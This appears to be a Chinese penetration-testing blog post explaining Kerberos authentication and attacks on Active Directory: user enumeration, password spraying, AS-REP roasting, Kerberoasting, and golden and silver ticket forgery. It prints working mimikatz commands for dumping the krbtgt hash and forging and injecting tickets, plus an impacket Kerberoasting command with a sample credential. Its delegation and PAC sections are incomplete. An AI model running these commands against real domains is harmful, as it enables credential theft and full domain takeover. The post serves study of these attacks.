目录

  1. 1. 前言
  2. 2. 基础
  3. 3. 攻击
    1. 3.1. AS_REQ & AS_REP 阶段攻击
      1. 3.1.1. 域内用户枚举
      2. 3.1.2. 密码喷洒攻击
      3. 3.1.3. AS_REP Roasting 攻击
      4. 3.1.4. 黄金票据攻击
    2. 3.2. TGS_REQ&TGS_REP 阶段攻击
      1. 3.2.1. SPN && Kerberoast 攻击
      2. 3.2.2. 白银票据攻击
        1. 3.2.2.1. 与黄金票据的区别
      3. 3.2.3. 委派攻击
        1. 3.2.3.1. 非约束委派
        2. 3.2.3.2. S4U && 约束委派
    3. 3.3. PAC 安全问题

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

Kerberos

2025/7/5 渗透 Kerberos
  |     |   总文章阅读量:

前言

域渗透中,如果能够获取域控的权限,便可接管域内所有机器,而域渗透中,Kerberos 是最常用的,是整个域的基础认证协议

参考:

Kerberos 票据攻击:黄金、白银、钻石、蓝宝石票据的攻防全解析 - FreeBuf网络安全行业门户

https://y4er.com/posts/kerberos-as_req-and-as_rep/

https://www.freebuf.com/articles/network/384457.html


基础

包括三个部分:

  • Client
  • Server
  • KDC(密钥分发中心):包含 AS(认证服务器)和 TGS(票据授权服务器)

基础认证流程如下:

  1. AS_REQ: Client 向 AS 发起 AS_REQ,请求凭据是 Client hash 加密的时间戳,请求内容为通过 Client 的哈希加密的时间戳、ClientID 等内容
  2. AS_REP: AS 使用 Client hash 进行解密,如果结果正确就返回用 krbtgt(域控中用来管理发放票据的用户) 的 NTLM-hash 加密的 TGT (Ticket Granting Ticket,票据授权凭证)票据,TGT 里面包含 PAC(Privlege Attribute 特权属证书),PAC 包含 Client 的 sid,Client 所在的组,用于验证用户权限,只有 KDC 能制作和查看 PAC。
  3. TGS_REQ: Client 凭借 TGT 票据向 KDC 发起针对特定服务的 TGS_REQ 请求
  4. TGS_REP: KDC 使用 krbtgt NTLM-hash 进行解密,如果结果正确,就返回用服务 NTLM-hash 加密的 TGS 票据(简称 ST);注意,不管用户有没有访问服务的权限,只要 TGT 正确,就返回 TGS 票据
  5. AP_REQ: Client 拿着 TGS 票据去请求服务
  6. AP_REP: 服务使用自己的 NTLM-hash 解密 TGS 票据。如果解密正确,就拿着 PAC 去 KDC 那边问 Client 有没有访问权限,域控解密 PAC。获取 Client 的 sid,以及所在的组,再根据该服务的 ACL,判断 Client 是否有访问服务的权限。

攻击

AS_REQ & AS_REP 阶段攻击

此阶段与 AS 认证服务器进行交互,那么就会出现最基础的用户枚举和密码喷洒

域内用户枚举

用户名存在与不存在的报错不一致,那么可以进行用户枚举

Kerberos 服务所在端口为 88 端口,采用 tcp 连接,所以通过 88 端口来探测;其次是用户名登录存在三种状态,根据不同状态可以判断其是否存在:

  1. KDC_ERR_PREAUTH_REQUIRED - 需要额外的预认证(启用)
  2. KDC_ERR_CLIENT_REVOKED - 客户端凭证已被吊销(禁用)
  3. KDC_ERR_C_PRINCIPAL_UNKNOWN - 在Kerberos数据库中找不到客户端(不存在)

相关工具: https://github.com/ropnop/kerbrute/releases/

密码喷洒攻击

对其他用户进行密码爆破

AS_REP Roasting 攻击

对于域用户,如果设置了选项 "Do not require Kerberos preauthentication",此时向域控制器的 88 端口发送 AS-REQ 请求,对收到的 AS-REP 内容重新组合,能够拼接成 "Kerberos 5 AS-REP etype 23"(18200) 的格式,接下来可以使用 hashcat 对其破解,最终获得该用户的明文口令。

通常情况此选项默认关闭

工具:impacket 的 GetNPUsers.py 可检索启动了"Do not require Kerberos preauthentication"的目标域用户

黄金票据攻击

针对 Kerberos 认证中生成 **TGT (Ticket Granting Ticket,票据授权票据)**的部分

Kerberos 中每个用户的票据都是由 krbtgt 的 NTLM 哈希值加密生成的,所以只要我们获得了 krbtgt 的哈希值,就能伪造任意用户的票据,即黄金票据攻击

攻击者需要的信息:域名、域 sid、krbtgt 哈希值、要伪造的用户

首先要获取 krbtgt 的 hash,此处可以用 DCSync 攻击,从域控直接请求,但是需要域管或者等效权限:

lsadump::dcsync /domain:test.local /user:krbtgt

或者在已经提权的域控上直接导出所有用户的 hash

然后需要 sid 的 hash:

lsadump::lsa /patch

接下来就能生成 golden ticket 了,此处可以用 aes256 也可以用 krbtgt 的 NTLM hash:

kerberos::golden /domain:test.local /sid:S-1-5-21-514356739-3204155868-1239341419 /aes256:b4e2924c2d378eda457c2dd3810fdde0a5312354c2b26bc677dfb48e46a17fe7 /user:administrator /ticket:gold.kirbi

###############################

kerberos::golden /user:administrator /domain:test.local /sid:S-1-5-21-514356739-3204155868-1239341419 /krbtgt:bfb69399cb7ac7828c70a1a0833119f6 /ticket:gold.kirbi

然后用 /ptt (Pass The Ticket)参数将生成的票据注入到当前会话中,无需重启即可使用:

kerberos::ptt gold.kirbi

TGS_REQ&TGS_REP 阶段攻击

SPN && Kerberoast 攻击

SPN(Service Principal Name,服务器主体名称)是服务器所运行服务的唯一标识,每个使用 Kerberos 认证的服务都必须正确配置相应的 SPN,一个账户下可以有多个 SPN

根据权限,SPN 有两种注册方式,分别为:机器账户 computers、域用户账户 users。KDC 查询 SPN 也按照账户方式进行查找

Kerberoast 攻击:针对 TGS_REP 阶段使用服务的 NTLM Hash 返回的加密数据 ST 进行爆破,注意只有域用户的 SPN 是可以被利用的,机器账户会定期更改为随机字符所以无法利用

首先在已经能登录某台域用户的基础上查询 SPN 寻找在 Users 下并且是高权限域用户的服务,然后请求并导出 TGS

python3 GetUserSPNs.py -request -dc-ip 172.22.9.7 xiaorang.lab/zhangjian:i9XDE02pLVf

最后爆破 TGS 得出密码即可

相关工具:impacket 的 GetUserSPNs.py、hashcat、一个正确的密码字典


白银票据攻击

在 TGS_REP 中,不管 Client 是否有权限访问特殊服务,只要 Client 发送的 TGT 票据是正确的,那么就会返回服务 NTLM Hash 加密的 TGS 票据。如果我们有了服务 NTLM Hash,就可以签发 TGS 票据

原理即伪造 ST 来访问服务,但是只能访问特定服务器上的部分服务

需要如下信息:

  • /domain
  • /sid
  • /target:目标服务器的域名全称
  • /service:目标服务器上面的 Kerberos 服务
  • /rc4:计算机账户的 NTLM hash,域控主机的计算机账户
  • /user:要伪造的用户名

mimikatz 导出服务账户的 NTLM Hash

sekurlsa::logonpasswords

如果导出的是域控服务账户 DC$ 的哈希,那么就可以获取 DC 机器名的哈希值和域 id,执行下面的命令便可获取 krbtgt 的 hash 从而制作黄金票据

kerberos::golden /domain:test.local /sid:S-1-5-21-514356739-3204155868-1239341419 /target:dc.test.local /service:cifs /rc4:9150e40e4ec936a15baf384ca382a3df /user:dc$ /ptt

lsadump::dcsync /domain:test.local /user:krbtgt

与黄金票据的区别

黄金票据 白银票据
访问权限 伪造 TGT,可以获取任何 Kerberos 服务权限 伪造 TGS,只能访问指定的服务
加密方式 由 krbtgt 的 Hash 加密 由服务账号(通常为计算机账户)的 Hash 加密
认证流程 需要访问域控 不需要访问域控

委派攻击

非约束委派


S4U && 约束委派

Windows Server 2003 中引入了约束委派,对 Kerberos 协议进行了拓展,引入了 S4U 协议:S4U2Self 和 S4U2proxy,前者用于生成本身服务的 TGS 票据,S4U2proxy 用于“代理”相关用户申请其他服务票据

请求过程:

具体过程是收到用户的请求之后,首先代表用户获得针对服务自身的可转发的 Kerberos 服务票据(S4U2SELF),拿着这个票据向 KDC 请求访问特定服务的可转发的 TGS(S4U2PROXY),并且代表用户访问特定服务,而且只能访问该特定服务。

注意:约束委派的前置条件服务自身需要通过 KDC 认证的 TGT


PAC 安全问题